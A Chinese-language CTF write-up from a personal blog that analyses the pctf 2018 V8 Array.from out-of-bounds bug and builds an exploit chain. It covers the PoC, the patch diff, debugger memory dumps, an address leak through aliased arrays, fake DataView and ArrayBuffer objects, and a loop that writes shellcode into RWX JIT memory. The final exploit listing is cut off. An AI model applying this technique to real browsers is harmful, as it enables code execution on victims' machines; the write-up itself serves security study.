关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
pctf v8 分析
无
383
0
0
mut3p1g
# 0x01 poc 首先分析一下所给的`poc` ``` // Copyright 2018 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Tests that creating an iterator that shrinks the array populated by // Array.from does not lead to out of bounds writes. let oobArray = []; let maxSize = 1028 * 8; Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( { counter : 0, next() { let result = this.counter++; if (this.counter > maxSize) { oobArray.length = 0; return {done: true}; } else { return {value: result, done: false}; } } } ) }); assertEquals(oobArray.length, maxSize); // iterator reset the length to 0 just before returning done, so this will crash // if the backing store was not resized correctly. oobArray[oobArray.length - 1] = 0x41414141; ``` ## 1. Array.from 参考http://es6.ruanyifeng.com/#docs/array#Array-from `Array.from`方法用于将两类对象转为真正的数组: * 类似数组的对象(array-like object) ``` let arrayLike = { '0': 'a', '1': 'b', '2': 'c', length: 3 }; let arr2 = Array.from(arrayLike); // ['a', 'b', 'c'] ``` * 可遍历(iterable)的对象 ``` // 部署了Iterator 接口的数据结构 Array.from('hello') // 字符串 // ['h', 'e', 'l', 'l', 'o'] let namesSet = new Set(['a', 'b']) // Set结构 Array.from(namesSet) // ['a', 'b'] ``` ## 2. Symbol.iterator 参考http://es6.ruanyifeng.com/#docs/iterator https://github.com/ruanyf/es6tutorial/blob/3c44084f4b2e318fcbec77b7191b1f2412726c47/docs/symbol.md ES6 引入了一种新的原始数据类型`Symbol`,表示独一无二的值。它是`JavaScript` 语言的第七种数据类型,前六种是:`undefined`、`null`、布尔值(`Boolean`)、字符串(`String`)、数值(`Number`)、对象(`Object`) 对象的`Symbol.iterator`属性,指向该对象的默认遍历器方法。当对象进行`for...of`循环时,会调用`Symbol.iterator`方法,返回该对象的默认遍历器。 ``` const obj = { [Symbol.iterator] : function () { return { next: function () { return { value: 1, done: true }; } }; } }; ``` 上面代码中,对象`obj`是可遍历的,因为具有`Symbol.iterator`属性。执行这个属性,会返回一个遍历器对象,该对象的根本特征就是具有`next`方法。每次调用`next`方法,都会返回一个代表当前成员的信息对象,具有`value`和`done`两个属性;`value`表示当前遍历轮次的返回值,`done`表示是否遍历完毕。 ## 3. 理解poc `poc`中关键的代码其实就是调用了`Array.from`这个函数: ``` Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( { counter : 0, next() { let result = this.counter++; if (this.counter > maxSize) { oobArray.length = 0; return {done: true}; } else { return {value: result, done: false}; } } } ) }); ``` 其第一个参数为一个函数 ``` function() { return oobArray } ``` 第二个参数是一个对象,而其拥有`Symbol.iterator`属性所以是可遍历的,从而可以作为`可遍历的对象`而被`Array.from`转换为数组 ``` { [Symbol.iterator] : _ => ({ counter : 0, next() { let result = this.counter++; if (this.counter > maxSize) { oobArray.length = 0; return {done: true}; } else { return {value: result, done: false}; } } }) } ``` 这里使用了箭头函数,举例如下: ``` function funcName(params) { return params + 2; } <=> var funcName = (params) => params + 2 ``` 相当于箭头函数左边为传入的参数,右边为函数返回值 那么在`Array.from`调用的过程中,可以用一个简单的`demo`看一下原本的意思是什么: ``` d8> let ar = []; undefined d8> Array.from.call(function(){return ar}, [1,2,3]); [1, 2, 3] d8> ar [1, 2, 3] ``` 所以实质上就是将待转换的对象转换到给定的第一个参数数组中。 而遍历的时候,当当前数组的大小大于`maxSize`后,则会将`oobArray`数组大小置为0,并且遍历完成。 如果我们将 ``` oobArray.length = 0; ``` 注释掉,将不会引起崩溃。那么现在就该从源码角度进行分析看看了。 # 0x02 源码分析 首先将代码切换到目标版本`bc2de4a87d3f1ce2522f255186e965f5babe2ce9` 而通过查看[修复的版本](https://chromium.googlesource.com/v8/v8/+/b5da57a06de8791693c248b7aafc734861a3785d) ![](https://leanote.com/api/file/getImage?fileId=5c21a75dab6441512c0001da) 可以发现源码主要就修改了`src/builtins/builtins-array-gen.cc`,所以查看一下`diff` ![](https://leanote.com/api/file/getImage?fileId=5c21a84cab6441512c0001e5) 那么问题就应该是出在`GenerateSetLength`这个函数,现在就应该来分析[当前版本的这个函数](https://chromium.googlesource.com/v8/v8/+/bc2de4a87d3f1ce2522f255186e965f5babe2ce9/src/builtins/builtins-array-gen.cc#1938)了 ## 1. GenerateSetLength 看名字应该是设置长度,也就是最后将`oobArray`长度设置为0的过程。这里是用的`CodeStubAssembler`的形式实现的,但`DSL`的大概意思也还算比较清楚 这里有几个关键字: ``` BIND(&name);{ code }: 相当于定义一段代码 Goto(&name): 相当于跳转到name GotoIf(condition, &name): 如果条件满足,则跳转到name ``` 然后来看一下代码 ``` void GenerateSetLength(TNode<Context> context, TNode<Object> array, TNode<Number> length) { Label fast(this), runtime(this), done(this); // Only set the length in this stub if // 1) the array has fast elements, // 2) the length is writable, // 3) the new length is greater than or equal to the old length. // 1) Check that the array has fast elements. // TODO(delphick): Consider changing this since it does an an unnecessary // check for SMIs. // TODO(delphick): Also we could hoist this to after the array construction // and copy the args into array in the same way as the Array constructor. BranchIfFastJSArray(array, context, &fast, &runtime); BIND(&fast); { TNode<JSArray> fast_array = CAST(array); TNode<Smi> length_smi = CAST(length); TNode<Smi> old_length = LoadFastJSArrayLength(fast_array); CSA_ASSERT(this, TaggedIsPositiveSmi(old_length)); // 2) Ensure that the length is writable. // TODO(delphick): This check may be redundant due to the // BranchIfFastJSArray above. EnsureArrayLengthWritable(LoadMap(fast_array), &runtime); // 3) If the created array already has a length greater than required, // then use the runtime to set the property as that will insert holes // into the excess elements and/or shrink the backing store. GotoIf(SmiLessThan(length_smi, old_length), &runtime); StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset, length_smi); Goto(&done); } BIND(&runtime); { CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array), CodeStubAssembler::LengthStringConstant(), length, SmiConstant(LanguageMode::kStrict)); Goto(&done); } BIND(&done); } ``` 先看一下参数(猜测): ``` context: 待转换为数组的内容 array : 转换完毕后最终的数组 length : 数组的长度 ``` 再看一下两个比较关键的函数: * CallRuntime ``` 参数: Runtime::kSetProperty context static_cast<Node*>(array) length SmiConstant(LanguageMode::kStrict) 作用: 设置array的长度,同时修改内存大小 ``` * StoreObjectFieldNoWriteBarrier ``` 参数: fast_array 传入的数组 JSArray::kLengthOffset JS中数组长度的偏移 length_smi 需要改成的新长度 作用: 设置fast_array的length为length_smi,但在内存上不动 ``` 然后再看一下注释,应该描述了大概的函数逻辑及作用: ``` 老长度: 传入的array的长度 新长度: 传入的length,即需要将长度改为这么多 设置长度的条件: 1) 数组是fast array 2) 数组长度是可写的 3) 新长度大于等于老长度 如果数组是fast array: 1) 获得数组本身的老长度 2) 判断数组长度是否可写 3) 如果新长度小于老长度,也就是原本数组大小满足要求,那么则走到runtime调用CallRuntime 4) 如果新长度大于等于老长度,也就是数组大小无法满足要求,则调用StoreObjectFieldNoWriteBarrier来修改数组长度属性并且扩大空间 如果数组中没有快元素,则直接走到runtime调用CallRuntime ``` 接着在看一下`Array.from`的具体实现,由于代码过长就不粘贴上来了,下面直接说流程: ``` 1. 首先获取参数,并判断参数是否包含map_function,若不包含则判断是否可以直接调用,否则报错 2. 检查是否定义了items[Symbol.iterator],定义了则跳到iterable 1) 判断递归器中的函数是否可以调用(不能调用则报错) 2) 构造一个长度为空的array用作输出 3) 获取iterator并进入loop循环,循环中主要调用next函数并判断是否结束递归 3) 如果没有定义则跳到not_iterable,那么将不会生成Fast Array 1) 构造一个长度与待生成数组的长度相同的array 2) 进入循环,将待生成数组的内容赋值给array 4) 退出循环后,调用GenerateSetLength设置长度,长度为循环的次数 ``` 那么问题到底出在哪里呢?思考一下这个函数本身的逻辑:在将数据迭代存入数组中时,最开始是并不知道数组有多大的,所以数组的大小一定是无法一开始就确定的。当我们用一个空数组存入数据时,每次数据存入都会改变数组的大小,那么数组所需要的空间也在增大。 那么如果我们在迭代的过程最后一次,设置新长度为0,这样就导致了`新长度小于老长度`,于是就会调用`CallRuntime`将内存空间释放(这里可能不是通过`GenerateSetLength`设置的长度,但内存释放应该是没问题的)。然而在迭代完成后,会设置新长度为迭代次数,这样导致了`新长度大于老长度`,只会调用`StoreObjectFieldNoWriteBarrier`设置`length`,但空间仍然是空的,于是导致了可以访问数组外的空间,也就是`Out Of Bound`。 # 0x03 DEBUG 现在我们已经从源码的角度理解了漏洞的成因,现在还需要通过调试来看看底层的问题表现成什么样子。 在`js`中可以插入代码`%DebugPrint(a)`,这样在运行`d8`时加上参数`--allow-natives-syntax`后就能够打印变量的信息(对于`debug`版本可以打印结构体信息,但`release`版本不行。但是`debug`会内置`debug check`,会对数组的长度进行检查并且在长度出错的时候抛出异常。)。 下断点有下面两种方法: 1. 死循环后`ctrl+c` 2. 加上`%DebugPrint`后断点在`break v8::internal::Runtime_DebugPrint`,其中`RSI`就是我们需要查看的值 那么首先看一下我们申请的`oobArray`是什么样子: ``` DebugPrint: 0x72ff858a201: [JSArray] - map = 0x31e0e0983b19 [FastProperties] - prototype = 0x3e94e45892a9 - elements = 0x2af798002201 <FixedArray[10018]> [FAST_SMI_ELEMENTS] - length = 8224 - properties = { #length: 0x250e3546df01 <AccessorInfo> (accessor constant) } - elements = { 0: 0 1: 1 ... 8223: 8223 8224-10017: 0x389ea9902351 <the hole> } ``` # 0x04 分析EXP 源自[uknowy的exploit](file:///Users/miracle/Downloads/V8%20Exploit%20-%20pctf2018%20write-up.pdf) ## 1. boxed & unboxed 首先,`v8`中存在`boxed`和`unboxed`两种数组 ![](https://leanote.com/api/file/getImage?fileId=5c2ed7ebab64410daa0014cc) 1. 如果这个数组只包含了`double`类型的值,把`interger`用`double`类型表示,那么就可以称其为`unboxed_arr(fast_array)` 2. 如果这个数组包含了其他更加复杂的值,比如指向对象的指针,那么就称其为`boxed_arr` 3. 虽然数值都由`double`表示,但是存在小整形(`small integer, SMI`)。为了区分指针和`SMI`,我们采取了`Tagged Pointer`。`Tagged Pointer`的思想非常简单,由于在32/64位系统当中,指针存在对齐,所以指针的最后几位一定是0,那么我们就可以利用好这个0,通过0表示是`SMI`,通过1表示是指针即可。(这里其实还有个小`trick`,就是采用0表示`SMI`意味着在进行运算的时候,除了最后取结果,其他都可以直接进行运算不需要将最后一位标志位去掉) 可以打印一下具体信息,查看上面三者的区别: ``` const a = [1,2,3]; const b = [1.1,2.2,3.3]; const c = [{},2,3]; const d = [1*1000000000000,2,3]; %DebugPrint(a); %DebugPrint(b); %DebugPrint(c); %DebugPrint(d); ``` 对应结果如下: ``` a: - elements = 0x207d4c789e11 <FixedArray[3]> [FAST_SMI_ELEMENTS (COW)] b: - elements = 0x207d4c789fe9 <FixedDoubleArray[3]> [FAST_DOUBLE_ELEMENTS] c: - elements = 0x207d4c78a069 <FixedArray[3]> [FAST_ELEMENTS] d: - elements = 0x207d4c78a131 <FixedDoubleArray[3]> [FAST_DOUBLE_ELEMENTS] ``` ## 2. 特殊情况研究 首先看一下`debug-gdb`对照关系 ``` DebugPrint: 0x10346d90a6f1: [JSArray] - map = 0x25e398b07639 [FastProperties] - prototype = 0x30dc754892a9 - elements = 0x10346d90c219 <FixedDoubleArray[16]> [FAST_HOLEY_DOUBLE_ELEMENTS] - length = 5 - properties = { #length: 0x11212c4edf01 <AccessorInfo> (accessor constant) } - elements = { 0-15: <the_hole> } => pwndbg> x /10xg 0x10346d90a780 0x10346d90a780: 0x000025e398b076e9[map] 0x000011212c482241[properties.length] 0x10346d90a790: 0x000010346d90b819[elements] 0x0000000500000000[length] 0x10346d90a7a0: 0x00001dc3f0c84041 0x000030dc754abba9[prototype] 0x10346d90a7b0: 0x00001dc3f0c82309 0x0000000400000000 0x10346d90a7c0: 0x0000000000000000 0x0000000100000000 ``` 接着看一下`boxed`和`unboxed`调用`makeOOB`之后的结果: ``` function makeOOB(oobArray, size){ let maxSize = size; Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( { counter : 0, next() { let result = this.counter++; if (this.counter > maxSize) { oobArray.length = 0; return {done: true}; } else { return {value: result, done: false}; } } } ) }); return oobArray; } var a = [0, 1.1, 2.2, 3.3]; var b = [1, 2, 3, 4]; var c = [{}, 2, 3, 4]; var d = [0, {}, 3.3, 4]; var unboxed = makeOOB(b, 5); var boxed = makeOOB(a, 5); %DebugPrint(boxed); %DebugPrint(unboxed); ``` => ``` pwndbg> x /10xg 0x3a10a7608870 0x3a10a7608870: 0x00003903b3a02611 0x00001851b4102251 0x3a10a7608880: 0x00001851b4102251 0x0000000500000000 0x3a10a7608890: 0x00002543771042d1 0x000008eb30ba3b51 0x3a10a76088a0: 0x0000254377102f71 0x0000000400000000 0x3a10a76088b0: 0x0000000000000000 0x3ff0000000000000 pwndbg> x /10xg 0x3a10a76088d0 0x3a10a76088d0: 0x00003903b3a02521 0x00001851b4102251 0x3a10a76088e0: 0x00001851b4102251 0x0000000500000000 0x3a10a76088f0: 0x00002543771042d1 0x000008eb30ba3bb9 0x3a10a7608900: 0x0000254377102751 0x0000000000000003 0x3a10a7608910: 0x0000000800000000 0x7265746e756f632e ``` 可以看到,两者的`elements`指向同一块内存。 那么可以测试一下其他类型的,可以发现结果都差不多,但如果两个都是`<FixedArray[3]> [FAST_ELEMENTS]`(取c和d),那么两者的结果居然几乎是一样的 ``` pwndbg> x /10xg 0x1802cd0089c0 0x1802cd0089c0: 0x0000144d7ea026b1 0x0000114a62582251 0x1802cd0089d0: 0x0000114a62582251 0x0000000500000000 0x1802cd0089e0: 0x000010bf356042d1 0x00002c3f72e23e09 0x1802cd0089f0: 0x000010bf35602341 0x0000000400000000 0x1802cd008a00: 0x0000000000000000 0x0000000100000000 pwndbg> x /10xg 0x1802cd008a98 0x1802cd008a98: 0x0000144d7ea026b1 0x0000114a62582251 0x1802cd008aa8: 0x0000114a62582251 0x0000000500000000 0x1802cd008ab8: 0x000010bf356042d1 0x00002c3f72e23ee1 0x1802cd008ac8: 0x000010bf35602341 0x0000000400000000 0x1802cd008ad8: 0x0000000000000000 0x0000000100000000 ``` 在将`oobArray.length = 0;`修改为`oobArray.length = 1;`后,发现两者的`elements`就指向不同的内存了,那么猜测可能是由于设置为空后才导致`elements`指向空间相同,可以写代码验证一下: ``` const a = []; const b = []; %DebugPrint(a); %DebugPrint(b); => DebugPrint: 0x34f4e148a541: [JSArray] - map = 0x38f2f7c83b19 [FastProperties] - prototype = 0x258a256892a9 - elements = 0x35404ff02241 <FixedArray[0]> [FAST_SMI_ELEMENTS] ... DebugPrint: 0x34f4e148a571: [JSArray] - map = 0x38f2f7c83b19 [FastProperties] - prototype = 0x258a256892a9 - elements = 0x35404ff02241 <FixedArray[0]> [FAST_SMI_ELEMENTS] ``` 可以确定,当数组`length=0`时,导致`map`、`prototype`、`elements`的空间都相同 那么我们可以试试看,修改后两者的结果是否会发生变化: ``` var a = [0, 1.1, 2.2, 3.3]; var b = [1, 2, 3, 4]; var unboxed = makeOOB(a, 5); var boxed = makeOOB(b, 5); console.log(boxed[boxed.length - 1]); console.log(unboxed[unboxed.length - 1]); boxed[boxed.length-1] = 12345; console.log(boxed[boxed.length - 1]); console.log(unboxed[unboxed.length - 1]); console.log(d2u(unboxed[unboxed.length - 1])); => undefined # boxed[boxed.length - 1] 1.2617549131935e-310 # unboxed[unboxed.length - 1] 12345 # boxed[boxed.length - 1] 2.61960380394663e-310 # unboxed[unboxed.length - 1] 0,12345 # d2u(unboxed[unboxed.length - 1]) ``` 所以修改一个数组,确实会导致另一个数组也跟着变化。但正常对两个空数组操作是不会这样的,因为正常空数组赋值的时候发现下标超过长度,会申请空间来适应赋值。 ## 3. exp思路 通过上面的特性,可以得到利用场景: ``` 1. boxed & unboxed 指向同一块内存,可以利用起来leak任意对象地址 2. 利用unboxed获得对象的类型、长度、属性、指针,并可以修改他们 3. 利用ArrayBuffer伪造一个DataView 4. 函数对象的JIT代码部分是RWX,所以可以利用这部分写入shellcode 5. 通过调用写入shellcode的函数对象getshellœ ``` ### 1) leak * 泄露对象指针 首先把`exp`中的简化一下,一样可以泄露对象地址 ``` var a = [0, 1.1, 2.2, 3.3]; //var b = [1, 2, 3, 4]; 用两个unboxed一样可以完成泄露 var b = [0, 1.1, 2.2, 3.3]; var tmp = makeOOB(a, 5); var unboxed = makeOOB(a, 5); var boxed = makeOOB(b, 5); var fake_map_obj = []; console.log(boxed); console.log(unboxed); boxed[boxed.length-2] = fake_map_obj; console.log(boxed.slice(1)); console.log(unboxed.slice(1)); fake_map_lo = d2u(unboxed[unboxed.length-2])[0]; fake_map_hi = d2u(unboxed[unboxed.length-2])[1]; //fake_map_lo -= 0x71; // ? console.log("[+] fake_map: 0x" + fake_map_hi.toString(16) + fake_map_lo.toString(16)); %DebugPrint(fake_map_obj); => 0,1,2,3,4 # boxed(这里只是说数组名,实际上两者是一样的) 0,1,2,3,4 # unboxed 1072693248,1073741824,,1074790400 # boxed u2d(0,1072693248) = 1 其他同理 1,2,1.3066406172832e-310,4 # unboxed [+] fake_map: 0x180d9a30a2a1 0x180d9a30a2a1 <JSArray[0]> ``` 这时会发现,修改之前内容是一样的,但修改之后却不同了;不过将`boxed`的元素`u2d`一下就恢复了,这也就说明 ``` 原本是unboxed数组,由于赋值而变成了boxed数组 同时,一个unboxed的元素,等于两个boxed的元素([0,1072693248](boxed) = 1(unboxed)) ``` 首先需要阐明一点,为什么一开始是`unboxed array`?因为数组本身就是`unboxed array`,在`makeOOB`中的操作只是加入小整数,不会改变数组的类型。 那么造成这样的原因也很简单,代码中将原本是`unboxed array`添加了一个复杂对象进数组,所以会将该数组标记为`boxed array`;但另外一个仍然是`unboxed array`,但两者拥有同样的元素,`boxed array`会将对象识别为对象,而`unboxed`数组会将其识别为一个数字,所以可以泄露该指针的地址(同样可以试验一下,如果将另外一个也变成`boxed array`,打印结果将不会泄露地址,而是和前者一样打印一个空数组出来) 所以可以通过`boxed`获取对象,`unboxed`获取对应地址,反之也成立。 ### 2) DataView 首先看一下`ArrayBuffer`和`DataView`到底是干啥用的:http://javascript.ruanyifeng.com/stdlib/arraybuffer.html `ArrayBuffer`对象、`TypedArray`对象、`DataView`对象是`JavaScript`操作二进制数据的一个接口 * ArrayBuffer 代表内存之中的一段二进制数据,可以通过“视图”进行操作。“视图”部署了数组接口,这意味着,可以用数组的方法操作内存。 * TypedArray 用来生成内存的视图,通过9个构造函数,可以生成9种数据格式的视图,比如Uint8Array(无符号8位整数)数组视图, Int16Array(16位整数)数组视图, Float32Array(32位浮点数)数组视图等等。 * DataView 用来生成内存的视图,可以自定义格式和字节序,比如第一个字节是Uint8(无符号8位整数)、第二个字节是Int16(16位整数)、第三个字节是Float32(32位浮点数)等等。 简单说,`ArrayBuffer`对象代表原始的二进制数据,`TypedArray`对象代表确定类型的二进制数据,`DataView`对象代表不确定类型的二进制数据。它们支持的数据类型一共有9种(`DataView`对象支持除`Uint8C`以外的其他8种)。 ![](https://leanote.com/api/file/getImage?fileId=5c356d21ab64413744000517) 接着通过调试,看一下`DataView`的结构,先可以引用`v8`自带的`gdbinit`: ``` source ~/git/v8/tools/gdbinit ``` 然后可以多出来很多命令,可以通过查看`gdbinit`理解命令的意思和参数 然后还是看一下`dataview`在内存中对应的意义:(用的5.7版本的debug所以可能有问题) ``` a = new ArrayBuffer(0x4000) b = new DataView(a) f = Array.prototype.map => DebugPrint: 0xb968538c169: [JSDataView] - map = 0x392178205011 [FastProperties] - prototype = 0x346cb4c11541 - elements = 0x3e7cda002241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - internal fields: 2 - buffer =0xb968538a3b1 <an ArrayBuffer with map 0x392178206509> - byte_offset = 0 - byte_length = 16384 - properties = { } - internal fields = { 0 0 } => pwndbg> x /8xg 0xb968538c168 0xb968538c168: 0x0000392178205011[map] 0x00003e7cda002241[elements] 0xb968538c178: 0x00003e7cda002241[elements] 0x00000b968538a3b1[ArrayBuffer] 0xb968538c188: 0x0000000000000000 0x0000400000000000[byte_length(length of ArrayBuffer)] 0xb968538c198: 0x0000000000000000 0x0000000000000000 ``` 其`map`对应结构如下: ``` 0x392178205011: [Map] - type: JS_DATA_VIEW_TYPE - instance size: 64 - inobject properties: 0 - elements kind: FAST_HOLEY_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x3e7cda002311 <undefined> - instance descriptors (own) #0: 0x3e7cda002231 <FixedArray[0]> - layout descriptor: 0 - prototype: 0x346cb4c11541 <an Object with map 0x392178205069> - constructor: 0x346cb4c114d1 <JS Function DataView (SharedFunctionInfo 0x3e7cda05ce09)> - code cache: 0x3e7cda002241 <FixedArray[0]> - dependent code: 0x3e7cda002241 <FixedArray[0]> - construction counter: 0 => pwndbg> x /10xg 0x392178205010 0x392178205010: 0x00000ae5c9102259 0x000900c51b000008 0x392178205020: 0x00000000082003ff 0x0000346cb4c11541 0x392178205030: 0x0000346cb4c114d1[constructor] 0x0000000000000000 0x392178205040: 0x00003e7cda002231 0x0000000000000000 0x392178205050: 0x00003e7cda002241[code cache] 0x00003e7cda002241[dependent code] ``` 其中,`0x000900c5`的结构如下: ![](https://leanote.com/api/file/getImage?fileId=5c354810ab644137440002ca) 接着设置一下值的变量,然后看一下`ArrayBuffer`: ``` # dataview.setUint32(byteOffset, value [, littleEndian]) # byteOffset: 偏移 # value: 要设置的值 # littleEndian: 是否以小断续表示,默认为否 b.setUint32(0, 0xfffffff, true) b.setUint32(4, 0xeeeeeee, true) => DebugPrint: 0x214b22d0a3a9: [JSArrayBuffer] - map = 0x391c8a586509 [FastProperties] - prototype = 0x164366c158e1 - elements = 0x17c782e82241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - internal fields: 2 - backing_store = 0x555555621030 - byte_length = 10 - properties = { } - internal fields = { 0 0 } => pwndbg> x /10xg 0x214b22d0a3a8 0x214b22d0a3a8: 0x0000391c8a586509[map] 0x000017c782e82241[elements] 0x214b22d0a3b8: 0x000017c782e82241[elements] 0x0000000a00000000[byte_length] 0x214b22d0a3c8: 0x0000555555621030[value] 0x0000000000000004 0x214b22d0a3d8: 0x0000000000000000 0x0000000000000000 0x214b22d0a3e8: 0x0000155358582781 0x000000008b59a7a2 => pwndbg> x /2w 0x0000555555621030 [存储的值] 0x555555621030: 0x0fffffff 0x0eeeeeee ``` 然后在看看`func`在内存中的意义: ![](https://leanote.com/api/file/getImage?fileId=5c35417eab64413744000293) 可以得到代码段的`offset`,而这一段是`JIT`代码,所以权限是`RWX`的 ## 3. exploit 现在就要通过调试获得的信息构造成我们需要的对象了 先伪造一个`DataView`对象的`Map`: ``` // job [DataView Map Address] var fake_map_obj = [ u2d(0, 0), u2d(0, 0x0d000439), // instance type u2d(0, 0), u2d(0, 0), /* Fake ArrayBuffer object */ u2d(0, 0), u2d(0, 0), u2d(0, 0), u2d(0, 0), u2d(0x43434343, 0x44444444), // backing_store u2d(0x43434343, 0x44444444), u2d(0, 0), u2d(0, 0), u2d(0, 0), u2d(0, 0), ].slice(0); ``` 这个对象其实是`fake_map`和`fake_arraybuffer`,`fake_map+0x20`即`fake_arraybuffer` 而这里减去了0x71的原因会在最后一节进行分析 接着构造`DataView`: ``` // job [DataView Object Address] var fake_dv_obj = [ u2d(fake_map_lo + 1, fake_map_hi), // fake_map u2d(0, 0), u2d(0, 0), u2d(fake_map_lo + 0x20 + 1, fake_map_hi), // fake_arraybuffer u2d(0, 0), u2d(0, 0x4000), // fake_arraybuffer_length ].slice(0) ``` 这里也减去了0x31 然后就是泄露`jit`地址: ``` unboxed[unboxed.length-2] = u2d(fake_dv_lo + 1, fake_dv_hi); var dv = boxed[boxed.length-2]; fake_map_obj[8] = u2d(func_lo + 6 * 8 - 1, func_hi); // addr of code(jit) let jit_lo = DataView.prototype.getUint32.call(dv, 0, true) + 0x60; let jit_hi = DataView.prototype.getUint32.call(dv, 4, true); console.log("[+] jit: 0x" + jit_hi.toString(16) + jit_lo.toString(16)); ``` 首先通过`unboxed array`将构造的`DataView`对象的地址写进去,再用`boxed array`将该对象取出来 接着将`jit`的地址写到`ArrayBuffer`中,最后通过`DataView`将该值读出来 最后就是将`shellcode`写入`jit`,执行函数即可 ``` fake_map_obj[8] = u2d(jit_lo - 1, jit_hi); // addr of jit for (let k = 0; k < shellcode.length; ++k) { DataView.prototype.setUint32.call(dv, k * 4, shellcode[k], true); } ``` ## 4. 未解决的问题 ### 1) slice https://dustinhsiao21.com/2018/01/07/javascript-shallow-copy-and-deep-copy/ 在`javascript`中,存在两种拷贝模式:浅拷贝`shallow copy`和深拷贝`deep copy` 举个`demo`就能理解他们的区别了: ``` a = [1,2,3] (3) [1, 2, 3] b = a # deep copy (3) [1, 2, 3] c = a.slice() # shallow copy (3) [1, 2, 3] b[0] = 2 2 c[0] = 3 3 a (3) [2, 2, 3] b (3) [2, 2, 3] c (3) [3, 2, 3] ``` 那么究竟是不是`shallow copy`才能成功利用呢?我们用`concat`替换`slice`,发现同样不能成功,说明原因并不是`shallow copy` 那么我们再用`DebugPrint`打印一下伪造的`dv`,看看两者有区别 ``` # 不加slice 0x362dc0735be9 <String[0]: > # 加上slice 0x1b01cad35c89 <JSObject> ``` 那么可以看到,只有加上了`slice`之后,利用`OOB`获取的才是一个对象,否则只是一个空的字符串 那么再在`gdb`中看一下伪造的`dv`: ``` # 不加slice pwndbg> x /10xg 0x1ef2d91b5d38 0x1ef2d91b5d38: 0x00001ef2d91b55e9 0x0000000000000000 0x1ef2d91b5d48: 0x0000000000000000 0x00001ef2d91b5609 0x1ef2d91b5d58: 0x0000000000000000 0x0000400000000000 0x1ef2d91b5d68: 0x00000bddf1182611 0x0000304bdc782251 0x1ef2d91b5d78: 0x00001ef2d91b5d29 0x0000000600000000 # 加上slice pwndbg> x /10xg 0x1ef2d91b6138 0x1ef2d91b6138: 0x00001ef2d91b58e9 0x0000000000000000 0x1ef2d91b6148: 0x0000000000000000 0x00001ef2d91b5909 0x1ef2d91b6158: 0x0000000000000000 0x0000400000000000 0x1ef2d91b6168: 0x00000bddf1182611 0x0000304bdc782251 0x1ef2d91b6178: 0x00001ef2d91b6129 0x0000000600000000 ``` 这里看不出问题,那么看一下`map`: ``` # 不加slice pwndbg> x /10xg 0x00001ef2d91b55e8 0x1ef2d91b55e8: 0x0000000000000000 0x0000000000000000 0x1ef2d91b55f8: 0x0000000000000000 0x0000000000000000 0x1ef2d91b5608: 0x0000000000000000 0x0000000000000000 0x1ef2d91b5618: 0x0000000000000000 0x0000000000000000 0x1ef2d91b5628: 0x0000000000000000 0x0000000000000000 # 加上slice pwndbg> x /10xg 0x00001ef2d91b58e8 0x1ef2d91b58e8: 0x0000000000000000 0x0d00043900000000 0x1ef2d91b58f8: 0x0000000000000000 0x0000000000000000 0x1ef2d91b5908: 0x0000000000000000 0x0000000000000000 0x1ef2d91b5918: 0x0000000000000000 0x0000000000000000 0x1ef2d91b5928: 0x4444444443434343 0x4444444443434343 ``` 可以很明显的发现,前者的`map`是空的,而后者正好是我们构造的`fake_map_obj`数组; 但是前者的`map`多看一点,发现后面存在`fake_map_obj`数组,所以应该是偏移导致的,那这就又回到了第二个问题 ``` pwndbg> x /100xg 0x00001ef2d91b55e8+0x1c0 0x1ef2d91b57a8: 0x0000000000000000 0x0d00043900000000 0x1ef2d91b57b8: 0x0000000000000000 0x0000000000000000 0x1ef2d91b57c8: 0x0000000000000000 0x0000000000000000 0x1ef2d91b57d8: 0x0000000000000000 0x0000000000000000 0x1ef2d91b57e8: 0x4444444443434343 0x4444444443434343 ``` ### 2) 偏移问题 通过上一节可以看到,`map`对应的正好就是我们构造的`fake_map_obj`的数组里的值,那么这个偏移的意义应该就比较清楚了:获得的地址是`fake_map_obj`这个对象指针的地址,但是我们需要的是它数组里的值的地址,所以需要这个偏移。 下面来确认一下: ``` # 加上slice pwndbg> x /10xg 0x29c79b935990 # fake_map_obj 0x29c79b935990: 0x000012e2fbe82611 0x0000122d60782251 0x29c79b9359a0: 0x000029c79b935911[elements] 0x0000000e00000000 0x29c79b9359b0: 0x000035be5c482341 0x0000000200000000 0x29c79b9359c0: 0x0000000000000000 0x0000212b8c226519 0x29c79b9359d0: 0x0000000000000000 0x0000000000000000 pwndbg> x /10xg 0x000029c79b935910 # fake_map_obj's elements 0x29c79b935910: 0x000035be5c482f71 0x0000000e00000000 0x29c79b935920: 0x0000000000000000 0x0d00043900000000 0x29c79b935930: 0x0000000000000000 0x0000000000000000 0x29c79b935940: 0x0000000000000000 0x0000000000000000 0x29c79b935950: 0x0000000000000000 0x0000000000000000 0x29c79b935920-0x29c79b935990=0x70 正好就是slice的偏移 # 不加slice pwndbg> x /10xg 0x29c79b935690 0x29c79b935690: 0x000012e2fbe82611 0x0000122d60782251 0x29c79b9356a0: 0x000029c79b9357d1 0x0000000e00000000 0x29c79b9356b0: 0x000035be5c4842d1 0x0000212b8c2260c9 0x29c79b9356c0: 0x000035be5c482341 0x0000000e00000000 0x29c79b9356d0: 0x0000000000000000 0x0000000000000000 pwndbg> x /10xg 0x000029c79b9357d0 0x29c79b9357d0: 0x000035be5c482f71 0x0000000e00000000 0x29c79b9357e0: 0x0000000000000000 0x0d00043900000000 0x29c79b9357f0: 0x0000000000000000 0x0000000000000000 0x29c79b935800: 0x0000000000000000 0x0000000000000000 0x29c79b935810: 0x0000000000000000 0x0000000000000000 0x29c79b9357e0-0x29c79b935690=0x150 所以这就是新的偏移 ``` 所以我们将`exp`修改一下,同样能`getshell`。但是后面对`fake_dv_obj`去掉`slice`之后发现不稳定,即偏移会改变(但是几次能`getshell`一次,说明偏移只在几个值之中改变)。所以最好还是用`slice`来让`exp`稳定较好。 ## 5. exp ``` var f64 = new Float64Array(1); var u32 = new 